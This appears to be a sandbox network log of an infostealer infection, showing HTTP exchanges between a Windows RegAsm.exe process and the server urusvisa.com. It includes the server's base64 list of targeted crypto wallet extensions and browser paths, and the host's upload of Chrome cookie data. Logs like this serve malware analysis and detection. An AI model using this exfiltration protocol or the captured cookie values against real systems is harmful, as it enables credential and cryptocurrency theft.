1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcnJhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Sep 30, 2024 13:59:59.234616995 CEST	64	IN	Data Raw: 6b 63 47 52 74 61 32 46 68 61 32 56 71 62 6d 68 68 5a 58 77 78 66 44 42 38 4d 48 78 51 62 32 78 35 62 57 56 7a 61 46 64 68 62 47 78 6c 64 48 77 78 66 47 70 76 61 6d 68 6d 5a 57 39 6c 5a 47 74 Data Ascii: kcGRta2Fha2VqbmhhZXwxfDB8MHxQb2x5bWVzaFdhbGxldHwxfGpvamhmZW9lZGt
Sep 30, 2024 13:59:59.234661102 CEST	1236	IN	Data Raw: 77 61 32 64 73 59 6d 5a 70 62 57 52 6d 59 57 4a 77 5a 47 5a 71 59 57 39 76 62 47 46 6d 66 44 46 38 4d 48 77 77 66 45 6c 44 54 30 35 6c 65 48 77 78 66 47 5a 73 63 47 6c 6a 61 57 6c 73 5a 57 31 6e 61 47 4a 74 5a 6d 46 73 61 57 4e 68 61 6d 39 76 62 Data Ascii: wa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHwxfGZscGljaWlsZW1naGJtZmFsaWNham9vbGhra2VuZmVsfDF8MHwwfENvaW45OHwxfGFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfDF8MHwwfEVWRVIgV2FsbGV0fDF8Y2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8MXwwfDB8S2FyZG
Sep 30, 2024 13:59:59.234769106 CEST	1236	IN	Data Raw: 77 59 32 68 75 59 32 56 6c 61 58 42 70 63 47 6c 71 59 57 78 71 61 32 4a 73 59 6d 4e 76 59 6d 78 38 4d 58 77 78 66 44 46 38 56 48 4a 76 62 6d 6c 31 62 58 77 78 66 48 42 75 62 6d 52 77 62 47 4e 69 61 32 46 72 59 33 42 73 61 32 70 75 62 32 78 6e 59 Data Ascii: wY2huY2VlaXBpcGlqYWxqa2JsYmNvYmx8MXwxfDF8VHJvbml1bXwxfHBubmRwbGNia2FrY3Bsa2pub2xnYmtkZ2ppa2plZG5tfDF8MHwwfFRydXN0IFdhbGxldHwxfGVnamlkamJwZ2xpY2hkY29uZGJjYmRuYmVlcHBnZHBofDF8MHwwfEV4b2R1cyBXZWIzIFdhbGxldHwxfGFob2xwZmRpYWxqZ2pmaG9taWhramJtZ2ppZG
Sep 30, 2024 13:59:59.234780073 CEST	448	IN	Data Raw: 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 39 77 5a 6d 64 6c 62 47 31 6a 62 57 4a 70 59 57 70 68 62 57 56 77 62 6d 31 73 62 32 6c 71 59 6e 42 76 62 47 56 70 59 57 31 68 66 Data Ascii: waGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHwxfG9wZmdlbG1jbWJpYWphbWVwbm1sb2lqYnBvbGVpYW1hfDF8MHwwfE5pZ2h0bHl8MXxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHwxfGJnam9ncG9pZGVqZGVtZ29vY2hwbmttZGpwb2Nna2hhfDF8MHwwfENvaW5odWJ8MXxqZ2
Sep 30, 2024 13:59:59.234791994 CEST	1236	IN	Data Raw: 38 4d 58 77 77 66 44 42 38 52 6e 4a 76 62 6e 52 70 5a 58 49 67 56 32 46 73 62 47 56 30 66 44 46 38 61 33 42 77 5a 6d 52 70 61 58 42 77 61 47 5a 6a 59 32 56 74 59 32 6c 6e 62 6d 68 70 5a 6e 42 71 61 32 46 77 5a 6d 4a 70 61 47 52 38 4d 58 77 77 66 Data Ascii: 8MXwwfDB8RnJvbnRpZXIgV2FsbGV0fDF8a3BwZmRpaXBwaGZjY2VtY2lnbmhpZnBqa2FwZmJpaGR8MXwwfDB8U2FmZVBhbHwxfGxnbXBjcGdscG5nZG9hbGJnZW9sZGVhamZjbG5oYWZhfDF8MHwwfFN1YldhbGxldCAtIFBvbGthZG90IFdhbGxldHwxfG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfE
Sep 30, 2024 13:59:59.234802008 CEST	387	IN	Data Raw: 72 59 32 4a 70 62 6e 77 78 66 44 42 38 4d 48 78 54 59 57 5a 6c 55 47 46 73 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 46 77 5a 57 35 72 5a 6d 4a 69 63 47 31 6f 61 57 68 6c 61 47 31 70 61 47 35 6b 62 57 31 6a 5a 47 46 75 59 57 4e 76 62 47 35 6f 66 Data Ascii: rY2JpbnwxfDB8MHxTYWZlUGFsIFdhbGxldHwxfGFwZW5rZmJicG1oaWhlaG1paG5kbW1jZGFuYWNvbG5ofDF8MHwwfEJpdGdldCBXYWxsZXR8MXxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fDF8bnBocGxwZ29ha2hoamNoa2tobWlnZ2FraWpua2hmbmR8MXwwfDB8TXlUb25XYW
Sep 30, 2024 13:59:59.323008060 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Sep 30, 2024 13:59:59.327681065 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAKEBAECGCBAAAAAEBA Host: urusvisa.com Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 66 33 33 35 31 39 34 39 66 61 38 35 66 62 61 65 33 61 32 36 65 63 65 35 35 66 35 33 63 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 2d 2d 0d 0a Data Ascii: ------EBAKEBAECGCBAAAAAEBAContent-Disposition: form-data; name="token"ebf3351949fa85fbae3a26ece55f53cb------EBAKEBAECGCBAAAAAEBAContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------EBAKEBAECGCBAAAAAEBAContent-Disposition: form-data; name="mode"21------EBAKEBAECGCBAAAAAEBA--
Sep 30, 2024 13:59:59.888196945 CEST	282	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 11:59:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180
Sep 30, 2024 14:00:00.068005085 CEST	180	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDBAKFCFHCGDGCBAAKF Host: urusvisa.com Content-Length: 7629 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 14:00:00.068053007 CEST	7629	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 66 33 33 35 Data Ascii: ------BGDBAKFCFHCGDGCBAAKFContent-Disposition: form-data; name="token"ebf3351949fa85fbae3a26ece55f53cb------BGDBAKFCFHCGDGCBAAKFContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------BGDBAKFCFHCGDG
Sep 30, 2024 14:00:00.812793970 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 12:00:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 14:00:00.862906933 CEST	1008	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAAAKJKJEBGHJKFHIDGC Host: urusvisa.com Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 66 33 33 35 31 39 34 39 66 61 38 35 66 62 61 65 33 61 32 36 65 63 65 35 35 66 35 33 63 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 51 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 [TRUNCATED] Data Ascii: ------AAAAKJKJEBGHJKFHIDGCContent-Disposition: form-data; name="token"ebf3351949fa85fbae3a26ece55f53cb------AAAAKJKJEBGHJKFHIDGCContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------AAAAKJKJEBGHJKFHIDGCContent-Disposition: form-data; name="file_name"Q29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AAAAKJKJEBGHJKFHIDGCContent-Disposition: form-data; name="file_data"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------AAAAKJKJEBGHJKFHIDGC--
Sep 30, 2024 14:00:01.396760941 CEST	178	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 12:00:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49742	5.42.101.62	80	3784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 14:00:06.086846113 CEST	87	OUT	GET / HTTP/1.1 Host: urusvisa.com Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 14:00:06.997042894 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 12:00:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Sep 30, 2024 14:00:07.037322044 CEST	435	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJKFBGCFHCGDHIDAAEC Host: urusvisa.com Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 46 42 47 43 46 48 43 47 44 48 49 44 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 34 41 35 30 36 37 31 43 34 38 41 33 37 38 38 39 35 32 38 38 32 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 46 42 47 43 46 48 43 47 44 48 49 44 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 46 42 47 43 46 48 43 47 44 48 49 44 41 41 45 43 2d 2d 0d 0a Data Ascii: ------HJJKFBGCFHCGDHIDAAECContent-Disposition: form-data; name="hwid"54A50671C48A3788952882-a33c7340-61ca------HJJKFBGCFHCGDHIDAAECContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------HJJKFBGCFHCGDHIDAAEC--
Sep 30, 2024 14:00:07.588357925 CEST	232	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 12:00:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 39 65 63 35 37 30 36 63 33 37 62 30 66 35 66 30 30 34 31 36 63 30 39 34 33 36 64 35 34 36 63 37 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|9ec5706c37b0f5f00416c09436d546c7\|1\|1\|1\|0\|0\|50000\|10
Sep 30, 2024 14:00:07.590332985 CEST	510	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCBAAAFHJDHJJKEBGHI Host: urusvisa.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 63 35 37 30 36 63 33 37 62 30 66 35 66 30 30 34 31 36 63 30 39 34 33 36 64 35 34 36 63 37 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 2d 2d 0d 0a Data Ascii: ------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="token"9ec5706c37b0f5f00416c09436d546c7------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="mode"1------EHCBAAAFHJDHJJKEBGHI--
Sep 30, 2024 14:00:08.134238005 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 12:00:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 5a 70 64 6d 46 73 5a 47 6c 38 58 46 5a 70 64 6d 46 73 5a 47 6c 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 44 62 32 31 76 5a 47 38 67 52 48 4a 68 5a 32 39 75 66 46 78 44 62 [TRUNCATED] Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfFZpdmFsZGl8XFZpdmFsZGlcVXNlciBEYXRhfGNocm9tZXxDb21vZG8gRHJhZ29ufFxDb21vZG9cRHJhZ29uXFVzZXIgRGF0YXxjaHJvbWV8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxCcmF2ZXxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZXxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBDYW5hcnl8XE1pY3Jvc29mdFxFZGdlIFN4U1xVc2VyIERhdGF8Y2hyb21lfE1pY3Jvc29mdCBFZGdlIEJldGF8XE1pY3Jvc29mdFxFZGdlIEJldGFcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBEZXZ8XE1pY3Jvc29mdFxFZGdlIERldlxVc2V [TRUNCATED]
Sep 30, 2024 14:00:08.134257078 CEST	486	IN	Data Raw: 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 52 55 55 4a 79 62 33 64 7a 5a 58 4a 38 58 46 52 6c 62 6d 4e 6c 62 6e 52 63 55 56 46 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 Data Ascii: VXNlciBEYXRhfGNocm9tZXxRUUJyb3dzZXJ8XFRlbmNlbnRcUVFCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q3J5cHRvVGFiIEJyb3dzZXJ8XENyeXB0b1RhYiBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8T3BlcmF8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfE9wZXJhIEdYfFxPcGVyYSBTb2Z0d2FyZXxvcGVyYXxPcGVyYSB
Sep 30, 2024 14:00:08.220654011 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Sep 30, 2024 14:00:08.221991062 CEST	510	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJECAEHJJJKJKFIDGCB Host: urusvisa.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 63 35 37 30 36 63 33 37 62 30 66 35 66 30 30 34 31 36 63 30 39 34 33 36 64 35 34 36 63 37 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 2d 2d 0d 0a Data Ascii: ------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="token"9ec5706c37b0f5f00416c09436d546c7------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="mode"2------FIJECAEHJJJKJKFIDGCB--
Sep 30, 2024 14:00:08.790281057 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 12:00:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 